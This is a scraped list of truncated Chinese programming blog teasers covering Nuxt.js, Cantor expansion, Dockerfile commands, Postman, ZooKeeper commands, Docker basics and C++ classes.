    Nuxt.js(一.介绍与安装) 1.为什么使用Nuxt 渐进式Vue.js框架给前后端分离带来无限的乐趣,越来越多的程序员选择Vue.在我们使用Vue框架的过程中不免会出现以下的一些问题: 如何更好 ...

  5. 2021.08.05 P5357 康托展开模板(康托展开)

    2021.08.05 P5357 康托展开模板(康托展开) P5367 [模板]康托展开 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 重点: 1.康托展开 算法学习笔记(56): ...

  6. Dockerfile 命令详解及最佳实践

    Dockerfile 命令详解 FROM 指定基础镜像(必选) 所谓定制镜像,那一定是以一个镜像为基础,在其上进行定制.就像我们之前运行了一个 nginx 镜像的容器,再进行修改一样,基础镜像是必须指 ...

  7. Postman 正确使用姿势

    前言: 请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i 简介: Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将 ...

  8. zookeeper篇-zookeeper客户端和服务端的基础命令

    点赞再看,养成习惯,微信搜索「小大白日志」关注这个搬砖人. 文章不定期同步公众号,还有各种一线大厂面试原题.我的学习系列笔记. 前提:我把zookeepee安装在了服务器/usr/local/java ...

  9. 测试必会 Docker 实战(一):掌握高频命令,夯实内功基础

    在 Dokcer 横空出世之前,应用打包一直是大部分研发团队的痛点.在工作中,面对多种服务,多个服务器,以及多种环境,如果还继续用传统的方式打包部署,会浪费大量时间精力. 在 Docker 出现后,它 ...

  10. c++:-2

    上节介绍C++的函数介绍:c++:-1,本节学习类与对象 类与对象 定义 类定义 class 类名称 { public: 公有成员(外部接口) private: 私有成员 protected: 保护型 ...